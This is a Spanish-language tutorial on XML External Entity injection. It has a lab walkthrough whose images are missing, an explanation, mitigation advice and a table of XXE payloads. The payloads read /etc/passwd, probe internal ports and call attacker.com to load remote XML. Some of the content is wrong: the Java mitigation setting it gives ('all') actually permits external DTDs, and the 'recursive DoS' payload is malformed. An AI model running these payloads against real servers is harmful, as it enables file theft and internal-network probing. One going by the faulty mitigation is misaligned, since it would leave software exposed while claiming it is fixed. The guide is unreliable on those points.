XEE (XML External Entity Injection)
Practica de explotación XEE
XEE
Por ejemplo si tenemos esta pagina web:
En esta linea de aqui, se produce el XEE
:
Si entramos en la pagina principal que sera el index.html
no veremos nada interesante, pero si nos vamos a index.php
veremos lo siguiente:
Por lo que vemos no permite un GET
, por lo que tendremos que cambiar la peticion a POST
, por lo que capturaremos el index.php
con BupSuite
, una vez capturada la peticion veremos algo asi:
Para aprovechar dicha vulnerabilidad, tendremos que dejar la peticion de la siguiente forma:
Ahora si enviamos la peticion, en la pagina veremos lo siguiente:
Veremos que hemos podido leer el archivo passwd
, por lo que ya habremos realizado dicha vulnerabilidad.
Explicación detallada de la vulnerabilidad XEE
XEE
Vulnerabilidad XEE (XML External Entity Injection)
Definición: La vulnerabilidad XEE (Inyección de Entidad Externa XML) ocurre cuando una aplicación web permite la inclusión de entidades externas dentro de archivos XML procesados por el servidor. Los atacantes pueden aprovechar esta vulnerabilidad para acceder a archivos internos del servidor, realizar ataques de denegación de servicio (DoS) o incluso interactuar con servicios internos.
Cuando una aplicación web no valida correctamente las entradas XML, los atacantes pueden inyectar entidades externas en el archivo XML procesado. Estas entidades externas pueden referirse a archivos locales del servidor (como /etc/passwd
en sistemas Linux) o realizar solicitudes HTTP a servidores controlados por los atacantes.
Causas comunes:
Procesadores XML mal configurados: Muchos procesadores XML permiten la resolución de entidades externas (es decir, la capacidad de incluir archivos externos o realizar solicitudes a recursos externos).
Falta de validación o filtrado adecuado de las entradas XML: Si no se validan adecuadamente las entradas de los usuarios antes de procesarlas como XML, es fácil que los atacantes inyecten entidades externas.
Cómo funciona la vulnerabilidad XEE: La vulnerabilidad XEE se explota cuando un atacante puede incluir una entidad externa en un documento XML. Las entidades externas pueden representar archivos locales del sistema, lo que permite a un atacante acceder a esos archivos o incluso ejecutar ataques de denegación de servicio (DoS) mediante la carga de entidades recursivas.
El ataque típicamente se ve en una estructura XML como:
En este caso, el atacante inyecta una entidad externa que apunta a un archivo del sistema local (/etc/passwd
), y el servidor incluye ese archivo en la respuesta XML.
Impactos de XEE:
Exfiltración de archivos locales: Los atacantes pueden obtener acceso a archivos locales del servidor que contienen información sensible, como contraseñas, configuraciones o información de base de datos.
Denegación de servicio (DoS): Mediante la inyección de entidades recursivas (entidades que hacen referencia a sí mismas), los atacantes pueden crear ataques de denegación de servicio que agotan los recursos del servidor.
Acceso a recursos internos: Los atacantes pueden hacer que el servidor haga solicitudes a servicios internos en la red (puertos locales) y obtener información sensible, como datos de bases de datos o servicios internos que no están expuestos al público.
Ejecución remota de comandos: Aunque menos común, si se permiten ciertas configuraciones, un atacante podría realizar solicitudes externas que interactúan con otros servicios internos del servidor.
Cómo prevenir la vulnerabilidad XEE:
Desactivar la resolución de entidades externas: La mayoría de los procesadores XML permiten configurar la desactivación de la resolución de entidades externas.
Java:
System.setProperty("javax.xml.accessExternalDTD", "all");
PHP:
libxml_disable_entity_loader(true);
Validar y sanitizar las entradas: Asegurarse de que los documentos XML sean procesados solo si son válidos y si contienen los datos esperados.
Usar bibliotecas XML seguras: Utilizar bibliotecas que no procesen entidades externas o que permitan configuraciones estrictas en el manejo de entidades.
Tabla de Payloads y Bypasses para XEE
Aquí tienes algunos payloads comunes y bypasses para explotar vulnerabilidades XEE, junto con explicaciones de cómo funcionan y cómo pueden ser utilizados.
Descripción
Payload/Bypass
Explicación
Acceso a archivos locales (ejemplo: /etc/passwd
)
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <foo>&xxe;</foo>
Permite al atacante acceder a archivos locales sensibles, como el archivo de contraseñas en sistemas Unix (/etc/passwd
).
Acceso a archivos sensibles de configuración
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname">]> <foo>&xxe;</foo>
Inyecta una entidad que accede a archivos sensibles del sistema, como el archivo de configuración de nombre de host.
Denegación de servicio mediante carga recursiva
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hosts">]> <!ENTITY yxxe SYSTEM "xxe"> <foo>&xxe;&yxxe;</foo>
Utiliza entidades recursivas para realizar un ataque de DoS, al hacer que el procesador XML recursivamente procese las entidades.
Acceso a servicios internos (puertos locales)
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:8000/malicious">]> <foo>&xxe;</foo>
Permite al atacante hacer solicitudes HTTP a servicios internos, lo que podría revelar información confidencial o vulnerable.
Redirección a servidor controlado por atacante
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/malicious">]> <foo>&xxe;</foo>
Inyecta una entidad que hace una solicitud HTTP a un servidor externo controlado por el atacante.
Inyección de entidades a través de URL (mediante &
)
http://victim.com/xml?data=%3C%21DOCTYPE%20foo%20%5B%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E
Inyecta una entidad de archivo en una URL, que es procesada al pasar como parámetro a la aplicación vulnerable.
Acceso a archivos XML remotos
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/malicious.xml">]> <foo>&xxe;</foo>
Permite al atacante incluir un archivo XML remoto, controlando así el contenido procesado por el servidor.
Manipulación de salida para obtener datos del servidor
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://localhost/malicious">]> <foo>&xxe;</foo>
Permite al atacante solicitar información sensible del servidor de forma externa a través de la vulnerabilidad XEE.
Protección contra XEE
1 Desactivar el procesador de entidades externas: Desactivar el procesador de entidades externas en las bibliotecas de XML (si es posible) es una de las mejores formas de prevenir ataques XEE.
Ejemplo en PHP:
Ejemplo en Java:
2 Validación estricta de las entradas: Si necesitas procesar XML, valida el contenido y asegúrate de que no contenga entidades externas no deseadas. Puedes restringir el procesamiento de archivos que contengan esas entidades.
3 Usar bibliotecas XML seguras: Algunas bibliotecas XML modernas tienen configuraciones que deshabilitan de forma predeterminada la carga de entidades externas. Si es posible, usa estas bibliotecas.
Conclusión
La vulnerabilidad XEE es peligrosa debido a su capacidad para exponer archivos sensibles del servidor y potencialmente permitir ataques de denegación de servicio o interacciones maliciosas con servicios internos. Para evitar esta vulnerabilidad, es crucial que las aplicaciones web utilicen bibliotecas de XML seguras, validen las entradas y configuren los procesadores XML para deshabilitar la resolución de entidades externas.
¡Asegúrate de implementar las mejores prácticas de seguridad para mitigar esta vulnerabilidad en tu aplicación web!
Last updated